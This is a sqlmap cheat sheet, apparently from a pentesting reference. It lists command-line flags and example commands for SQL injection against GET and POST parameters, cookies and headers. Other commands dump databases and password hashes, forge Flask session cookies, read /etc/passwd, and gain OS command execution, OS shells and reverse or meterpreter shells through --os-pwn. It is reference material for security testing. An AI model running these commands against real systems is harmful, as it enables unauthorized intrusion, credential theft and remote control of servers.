# Basic arguments for SQLmap
## Generic
```bash
-u "<URL>"
-p "<PARAM TO TEST>"
--user-agent=SQLMAP
--random-agent
--threads=10
--risk=3 #MAX
--level=5 #MAX
--dbms="<KNOWN DB TECH>"
--os="<OS>"
--technique="UB" #Use only techniques UNION and BLIND in that order (default "BEUSTQ")
--batch #Non interactive mode, usually Sqlmap will ask you questions, this accepts the default answers
--auth-type="<AUTH>" #HTTP authentication type (Basic, Digest, NTLM or PKI)
--auth-cred="<AUTH>" #HTTP authentication credentials (name:password)
--proxy=http://127.0.0.1:8080
--union-char "GsFRts2" #Help sqlmap identify union SQLi techniques with a weird union char
```
## Retrieve Information
### Internal
```bash
--current-user #Get current user
--is-dba #Check if current user is Admin
--hostname #Get hostname
--users #Get usernames od DB
--passwords #Get passwords of users in DB
--privileges #Get privileges
```
### DB data
```bash
--all #Retrieve everything
--dump #Dump DBMS database table entries
--dbs #Names of the available databases
--tables #Tables of a database ( -D <DB NAME> )
--columns #Columns of a table ( -D <DB NAME> -T <TABLE NAME> )
-D <DB NAME> -T <TABLE NAME> -C <COLUMN NAME> #Dump column
```
# Injection place
## From Burp/ZAP capture
Capture the request and create a req.txt file
```bash
sqlmap -r req.txt --current-user
```
## GET Request Injection
```bash
sqlmap -u "http://example.com/?id=1" -p id
sqlmap -u "http://example.com/?id=*" -p id
```
## POST Request Injection
```bash
sqlmap -u "http://example.com" --data "username=*&password=*"
```
## Injections in Headers and other HTTP Methods
```bash
#Inside cookie
sqlmap -u "http://example.com" --cookie "mycookies=*"
#Inside some header
sqlmap -u "http://example.com" --headers="x-forwarded-for:127.0.0.1*"
sqlmap -u "http://example.com" --headers="referer:*"
#PUT Method
sqlmap --method=PUT -u "http://example.com" --headers="referer:*"
#The injection is located at the '*'
```
## Indicate string when injection is successful
```bash
--string="string_showed_when_TRUE"
```
## Eval
**Sqlmap** allows the use of `-e` or `--eval` to process each payload before sending it with some python oneliner. This makes very easy and fast to process in custom ways the payload before sending it. In the following example the **flask cookie session** **is signed by flask with the known secret before sending it**:
```bash
sqlmap http://1.1.1.1/sqli --eval "from flask_unsign import session as s; session = s.sign({'uid': session}, secret='SecretExfilratedFromTheMachine')" --cookie="session=*" --dump
```
## Shell
```bash
#Exec command
python sqlmap.py -u "http://example.com/?id=1" -p id --os-cmd whoami
#Simple Shell
python sqlmap.py -u "http://example.com/?id=1" -p id --os-shell
#Dropping a reverse-shell / meterpreter
python sqlmap.py -u "http://example.com/?id=1" -p id --os-pwn
```
## Read File
```bash
--file-read=/etc/passwd
```
## Crawl a website with SQLmap and auto-exploit
```bash
sqlmap -u "http://example.com/" --crawl=1 --random-agent --batch --forms --threads=5 --level=5 --risk=3
--batch = non interactive mode, usually Sqlmap will ask you questions, this accepts the default answers
--crawl = how deep you want to crawl a site
--forms = Parse and test forms
```
## Second Order Injection
```bash
python sqlmap.py -r /tmp/r.txt --dbms MySQL --second-order "http://targetapp/wishlist" -v 3
sqlmap -r 1.txt -dbms MySQL -second-order "http://<IP/domain>/joomla/administrator/index.php" -D "joomla" -dbs
```
[**Read this post** ](second-order-injection-sqlmap.md)**about how to perform simple and complex second order injections with sqlmap.**
# Customizing Injection
## Set a suffix
```bash
python sqlmap.py -u "http://example.com/?id=1" -p id --suffix="-- "
```
## Prefix
```bash
python sqlmap.py -u "http://example.com/?id=1" -p id --prefix="') "
```
## Help finding boolean injection
```bash
# The --not-string "string" will help finding a string that does not appear in True responses (for finding boolean blind injection)
sqlmap -r r.txt -p id --not-string ridiculous --batch
```
## Tamper
Remember that **you can create your own tamper in python** and it's very simple. You can find a tamper example in the [Second Order Injection page here](second-order-injection-sqlmap.md).
```bash
--tamper=name_of_the_tamper
#In kali you can see all the tampers in /usr/share/sqlmap/tamper
